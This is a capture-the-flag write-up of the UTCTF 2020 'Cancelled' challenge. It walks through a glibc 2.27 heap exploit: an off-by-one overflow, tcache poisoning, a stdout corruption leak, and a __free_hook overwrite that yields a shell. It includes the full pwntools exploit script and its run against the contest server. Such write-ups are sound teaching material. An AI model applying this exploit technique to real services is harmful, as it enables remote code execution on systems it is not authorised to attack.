[Pwn] UTCTF 2020 - Cancelled

Cancelled

Description:
1879pts

Solvers 26

We should cancel all pwners. by jitterbug

pwnable
2377bb9cec90614f4ba5c4c213a48709
libc-2.27.so
50390b2ae8aaa73c47745040f54e602f

nc binary.utctf.live 9050

Solution

  • Allocate 4 chunks A[0x18], B[0x18], C[0x70], D[0x21].
  • Free chunk A[0x18].
  • Allocate a new chunk A[0x18] and use off by one overflow to change size of B to 0x91.
  • Free chunk B, this won’t return any errors because we created some fake chunks in C and D.
  • B[0x90] is on unsortedbin now.
  • Free chunk C.
  • Next allocations will reuse space from chunk B if they fit.
  • Allocate a new chunk of size 0x10 to put a libc address at the FD of chunk C.
  • Malloc(0x20) and do a 4 bit brute force at the libc address present in FD to get stdout.
  • Stdout is now present in the tcache[0x80] linked list.
  • Second malloc of that size will write into the stdout struct.
  • Modify _IO_2_1_stdout to make puts leak a libc address (Angelboy leak).
  • Reuse the same technique to modify some tcache linked list pointer into free_hook.
  • Write system into free_hook.
  • Free a chunk that has /bin/sh\x00 as content to get a shell.

Architecture and protections

The binary is 64-bit and libc is dynamically linked.

1
2
$ file pwnable
pwnable: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=4185d6d607a16d28f64337f42a47822bed521751, not stripped

Besides fortify everything is enabled:

1
2
3
4
5
6
7
$ checksec pwnable
[*] '/ctf/work/pwn/cancelled/pwnable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Binary

The binary has two options, in the “add person” option we can specify the index to store the persons name and a description, for the description we can also control its size.
The cancel person option we can remove it from the list by specifying the respective index.

Vulnerability

We have a controllable off by one at the add option:

Angelboy leak

Not sure if this technique was first used by angelboy but the first time I saw it being used was at Hitcon 2018, in a challenge created by himself which he later published his solution at github.

This technique resolves on corrupting the stdout IO_FILE struct to make puts leak a libc address, I’m not explaining in detail the internals of printf you can find some explanations in my older write up plane market or at babytcache writeup.

To write into the stdout IO_FILE struct we kinda need to do a 4 bit brute-force in an unsorted bin libc address, but to achieve this we need to first use the off by one overflow vulnerability.

The main idea here is to use off by one to increase the size of a chunk in the unsorted bin to get some chunk overlaps via shrinking of the freed chunk and also overlapping new allocated chunks.

We can start by creating 4 chunks (A,B,C,D).

1
2
3
4
add(0x0, 'A'*8, 0x18, 'A'*0x8)
add(0x1, 'B'*8, 0x18, 'B'*0x8) # Overwrite this chunk size is the objective
add(0x2, 'C'*8, 0x70, b'C'*96+p64(0)+p64(0x21)) # Prevent Double-free or corruption
add(0x3, 'D'*8, 0x21, p64(0)+p64(0x1)) # corrupted vs. prev_size

The next thing to do is to change chunk B size into 0x91, but the libc version is 2.27 which uses tcache, so any chunk bellow 0x410 will go into their respective tcache bin. To prevent this we can fill tcache[0x90] with 7 frees which is the limit of a tcache bin:

1
2
3
4
for x in range(7):
add(0x4+x, 'E'*8, 0x80, 'E'*8) # Create 0x90 chunks to later fill tcache[0x90]
for x in range(7):
free(0x4+x) # Fill tcache[0x90]

Now that tcache[0x90] is full we have to overflow chunks B size, there isn’t an edit function so we need to free chunk A first and allocate a new one there. The chunk A is now placed at tcache[0x20] if the new allocation is in same range that memory space is reused, and the new chunk will be placed at the same place as the old A. Now that we can control chunks A description we can finally modify chunks B size to 0x91.

1
2
3
free(0) # Insert chunk A into tcache[0x20]
add(0x0, 'A'*8, 0x18, 'A'*0x18+'\x91') # Overflow B size to 0x91
free(1) # Goes to the unsorted bin because tcache[0x20] is full

The chunks created inside C and D are to prevent two security checks “prevent double-free or corruption” and “corrupted vs. prev_size” when freeing chunk B, you can check my write up penpal_world to understand more about this security checks.

Now we want to use tcache[0x90] again, we filled it before by freeing 7 times , to use it again we need to malloc the same numbers:

1
2
for x in range(7):
add(0xa+x, 'A'*8, 0x80, 'A'*0x10) # clean tcache[0x90]

tcache[0x90] is now reusable again, we can now send chunk C into tcache[0x90] , chunk C is located right after chunk B which size just got increased, because of this it can be used to overlap the fd pointer of chunk C by shrinking chunk B using malloc:

1
add(0x11, 'A'*8, 0x10, 'A'*0x2) # put a libc address at next pointer from tcache[0x80]

The view of the chunks before the shrink:

The view after the shrink:

It’s time to update the FD of C into stdout, we can do this by allocating a 0x20 chunk to shrink B again and overlap C:

1
add(0x12,'B'*8,0x20, '\x60\xa7') # STDOUT, trying a 4bit bruteforce

Failed attempt to get stdout:

To check if we succeeded to get it we can preform this checks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

add(0x13,'B'*8,0x70, 'A') # head of tcache[0x80]
free(0x13) # to make tcache[0x80] counter positive
add(0x14,'B'*8,0x70, p64(0x0fbad1800)+ 3*p64(0) + b'\x00') # overwrite stdout to get a leak
if r.recv(4) == b'Menu': # first check to see if the leak happened
log.failure("not lucky enough!")
r.close()
return False

LEAK = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
LIBC = LEAK-0x3ed8b0
if LIBC >> 40 != 0x7f or LIBC & 0xFFF != 0: # 2nd check to make sure
log.failure("not lucky enough!")
r.close()
return False

Update free_hook to system

To update free_hook we can do a similar strategy we used before to edit stdout, we can start by freeing a chunk after the old chunk B located in the unsorted bin and then allocate it again to create a fake chunk inside of it(to prevent a security check error):

1
2
free(0xa+6, True) # free chunk after old chunk B
add(0xa+6, 'K'*8, 0x80, p64(0)*2+p64(0xa0)+p64(0x70), True) # create a fake chunk inside so we can increase the size of chunk B

Next we allocate the chunk before chunk B and tamper the size to 0xa1:

1
2
add(0x0,'B'*8,0x28, 'A'*0x28+'\xa1', True) # change size of chunk B to 0xa1
free(0xa+6,True) # free chunk after chunk B again

Now that chunk B overlaps the next, we can allocate a chunk that covers the entire freed chunk and edit the FD of the next chunk to free_hook:

1
add(0x0, 'L'*8, 0x90, b'L'*0x70+p64(0)+p64(0x91)+p64(FREE_HOOK), True) # Overlapping chunk

Now is a matter of doing two mallocs and change the hook to system and freeing a chunk with “/bin/sh\x00” in its data:

1
2
3
add(0x7, b'/bin/sh\x00', 0x80, b'/bin/sh\x00', True) # prepare the first argument of system
add(0x13, b'/bin/sh\x00', 0x80, p64(SYSTEM), True) # update free_hook contents to system
free(0x7, True) # trigger shell

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
host, port = "binary.utctf.live", "9050"
filename = "./pwnable"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.27.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"r").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)

def add(index, name, length, description, stdoutFuckedUp=False):
if stdoutFuckedUp:
r.sendlineafter('Cancel Person\n', '1')
else:
r.sendlineafter('\n>','1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Name:', name)
r.sendlineafter('Length of description: ', str(length))
r.sendafter('Description: ', description)
#pass

def free(index, stdoutFuckedUp=False):
if stdoutFuckedUp:
r.sendlineafter('Cancel Person\n', '2')
else:
r.sendlineafter('\n>','2')
r.sendlineafter('Index: ', str(index))

context.terminal = ['tmux', 'new-window']
def exploit():#
global r
try:
r = getConn()
add(0x0, 'A'*8, 0x18, 'A'*0x8)
add(0x1, 'B'*8, 0x18, 'B'*0x8)
add(0x2, 'C'*8, 0x70, b'C'*96+p64(0)+p64(0x21))
add(0x3, 'D'*8, 0x21, p64(0)+p64(0x1))

for x in range(7):
add(0x4+x, 'E'*8, 0x80, 'E'*8) # Create 0x90 chunks to later fill tcache[0x90]
for x in range(7):
free(0x4+x) # Fill tcache[0x90]

if not args.REMOTE and args.GDB:
debug([0xCC8,0xBC7])

free(0) # Insert chunk A into tcache[0x20]
add(0x0, 'A'*8, 0x18, 'A'*0x18+'\x91') # Overflow B size to 0x91
free(1) # Goes to the unsorted bin because tcache[0x20] is full

for x in range(7):
add(0xa+x, 'A'*8, 0x80, 'A'*0x10) # clean tcache[0x90]

free(0x2) # send this to tcache[0x80]
add(0x11, 'A'*8, 0x10, 'A'*0x2) # put a libc address at next pointer from tcache[0x80]

#if args.REMOTE:
add(0x12,'B'*8,0x20, '\x60\xa7') # STDOUT, trying a 4bit bruteforce
#else:
# add(0x12, 'B'*8, 0x20, '\x60\x07\xdd') # echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

#r.interactive()

add(0x13,'B'*8,0x70, 'A') # head of tcache[0x80]
free(0x13) # to make tcache[0x80] counter positive
add(0x14,'B'*8,0x70, p64(0x0fbad1800)+ 3*p64(0) + b'\x00') # overwrite stdout to get a leak
if r.recv(4) == b'Menu': # first check to see if the leak happened
log.failure("not lucky enough!")
r.close()
return False

LEAK = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
LIBC = LEAK-0x3ed8b0
if LIBC >> 40 != 0x7f or LIBC & 0xFFF != 0: # 2nd check to make sure
log.failure("not lucky enough!")
r.close()
return False
FREE_HOOK = LIBC + libc.symbols['__free_hook']
SYSTEM = LIBC + libc.symbols['system']
log.info('LEAK 0x%x' % LEAK)
log.info('LIBC 0x%x' % LIBC)

free(0xa+6, True) # free chunk after old chunk B
add(0xa+6, 'K'*8, 0x80, p64(0)*2+p64(0xa0)+p64(0x70), True) # create a fake chunk inside so we can increase the size of chunk B
add(0x0,'B'*8,0x28, 'A'*0x28+'\xa1', True) # change size of chunk B to 0xa1
free(0xa+6,True) # free chunk after chunk B again

add(0x0, 'L'*8, 0x90, b'L'*0x70+p64(0)+p64(0x91)+p64(FREE_HOOK), True) # Overlapping chunk
add(0x7, b'/bin/sh\x00', 0x80, b'/bin/sh\x00', True) # prepare the first argument of system
add(0x13, b'/bin/sh\x00', 0x80, p64(SYSTEM), True) # update free_hook contents to system
free(0x7, True) # trigger shell

r.interactive()
r.close()
return True
except EOFError:
r.close()
return False
while not exploit():
pass

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ python3 cancelled.py REMOTE
[*] '/ctf/work/pwn/cancelled/pwnable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/pwn/cancelled/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[-] not lucky enough!
[*] Closed connection to binary.utctf.live port 9050
[+] Opening connection to binary.utctf.live on port 9050: Done
[*] LEAK 0x7f2ddf97b8b0
[*] LIBC 0x7f2ddf58e000
[*] Switching to interactive mode
/bin/sh is cancelled.
$ ll
$ ls
flag.txt
$ cat flag.txt
utflag{j1tt3rbUg_iS_Canc3l1ed_:(}

References